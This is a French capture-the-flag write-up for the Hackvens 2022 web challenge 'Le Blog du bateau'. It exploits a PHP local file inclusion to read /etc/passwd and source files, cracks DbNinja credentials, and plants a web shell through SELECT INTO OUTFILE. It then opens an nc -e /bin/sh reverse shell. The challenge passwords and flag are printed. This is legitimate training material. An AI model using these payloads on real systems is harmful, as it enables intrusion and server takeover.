Le Blog du bateau

Hackvens 2022 - Web (56 pts).

Hackvens 2022 - Le Blog du bateau

Détails du challenge

Event Challenge Category Points Solves
Hackvens 2022 Le Blog du bateau Web 56 15

Ez web :).

Have fun !

https://blog.hackvens.fr

TL;DR

Le site web proposé était développé en PHP et disposait d’une vulnérabilité de type LFI. L’utilisation du récent payload générique (pour ne pas dire universel) permet de récupérer une exécution de code rapidement sur le serveur. Les joueurs les moins avertis passeront eux par un filtre standard permettant de lire les sources du code en base64. Cette dernière, cumulée à la découverte d’un panel “DbNinja” permet alors la récupération du fichier de configuration du manager de base de données. Le cassage du mot de passe contenu dans la configuration permet ensuite un accès à un interpréteur de commande SQL. Les primitives d’écriture de fichier depuis le SGBD sont accessibles via la directive SELECT INTO OUT FILE, ce qui permet l’écriture d’un web shell et l’exécution de commande. Le flag final se situe dans un dossier utilisateur au travers d’un binaire, nécessitant un shell interactif (reverse shell traditionnel).

Le Blog du bateau

Le 7 octobre 2022 avait lieu l’évènement Hackvens organisé par Advens. Avec plusieurs collègues d’Imineti by Niji nous avons eu l’opportunité de participer au challenge (CTF) proposé en fin d’évènement. Cet article retrace notre solution pour le challenge “Blog du bateau”.

Point d’entrée

La navigation sur l’application du challenge nous propose une URL intéressante avec plusieurs paramètres. Le paramètre view retient notre attention puisque celui-ci contient un nom de fichier qui semblerait inclus, en l’occurrence blog.php :

paramlfi.png

La modification du nom de fichier par ../../../../etc/passwd confirme une vulnérabilité de type Local File Inclusion.

etcpasswd.png

Bypass générique

La publication récente d’un payload générique pour les vulnérabilités de type LFI en PHP permet théoriquement l’exécution de code PHP via l’inclusion de filtres PHP successifs. Afin d’illustrer cette injection, le code PHP <?=`$_GET[0]`;;?> est utilisé et encodé au travers de cette technique. Celui-ci a la particularité d’être relativement court et d’exécuter la commande system() fournie dans le premier paramètre de l’URL. La commande ls a ainsi pu être réalisée, confirmant notre exécution de code.

generic.png

Solution attendue

L’utilisation d’outils de reconnaissance comme nuclei ou nikto permet de récupérer le fichier robots.txt. Ce dernier nous informe de la présence d’un dossier /manager/ sur l’application (ce même dossier peut également être découvert au travers d’outils comme ffuf ou dirsearch).

robots.png manager.jpg

L’accès au manager nécessite dans un premier lieu le mot de passe de l’utilisateur DbNinja, puis dans un second temps un mot de passe lié à la base de données.

manager.png

Le deuxième mot de passe peut être retrouvé en accédant aux sources de l’application principale. Ces dernières peuvent être récupérées au travers de la vulnérabilité LFI et l’utilisation de wrapper comme php://filter/convert.iconv.utf-8.utf-16/resource=:

sourcesmain.png

Le mot de passe de la base de données est donc Sk1pSk1pingSk1pSk1ping.

Comme l’indique la procédure de réinitialisation de mot de passe, le premier mot de passe peut être retrouvé au travers du fichier userdata.php situé dans dbninja/_users/your-user:

docreset.png

N’ayant pas le nom de l’utilisateur, mais disposant d’une liste d’utilisateurs probables (fournie dans le fichier robots.txt), nous utilisons l’outil Burp pour essayer d’extraire le contenu du fichier /manager/_users/$USER/userdata.php$USER est le nom d’utilisateur bruteforcé. L’utilisateur “adm” est finalement récupéré et le contenu de son fichier également (ici le wrapper php://filter/convert.base64-encode/resource= est utilisé) :

adm.png

La récupération du fichier nous fournis ainsi le hash 732bd03528717ee235c2f218c0cc7a6c46713ca9 qu’il est ensuite possible de casser à l’aide de l’outil hashcat et une wordlist comme darkc0de.txt, ou bien au travers de sites spécialisés comme crackstation :

decode.png crackstation.png

Le compte à utiliser est donc adm:Supercalifragilisticexpialidocious, et le mot de passe de la connexion SQL est Sk1pSk1pingSk1pSk1ping. Nous voilà maintenant connectés à la base de données :

accesbdd.png

Dans la section “Query Editor”, il est possible d’utiliser la commande SQL SELECT ... INTO OUTFILE ... pour écrire sur le système de fichiers. Le shell PHP <?php echo(system($_GET['cmd'])); ?> peut être écrit dans le fichier zeecka.php de la racine du site web à l’aide de la commande SQL suivante:

SELECT "<?php echo(system($_GET['cmd'])); ?>" INTO OUTFILE "/var/www/html/zeecka.php";

sqloutfile.png

L’exécution de commande système est confirmée par la commande id:

cmd.png

Shell et Flag

La récupération d’un “Reverse shell” passera ensuite par l’utilisation du binaire nc avec la commande nc \$IP \$PORT -e /bin/sh sur la cible et un “listener” nc -lvp \$PORT sur notre serveur de command & contrôle.

shell1.png

Le flag est ensuite récupérable dans le dossier \$HOME du seul utilisateur au travers du binaire getflag:

shell2.png

Flag

hackvens{SkipSkipIngSk1perSkiPed_Flag}

Zeecka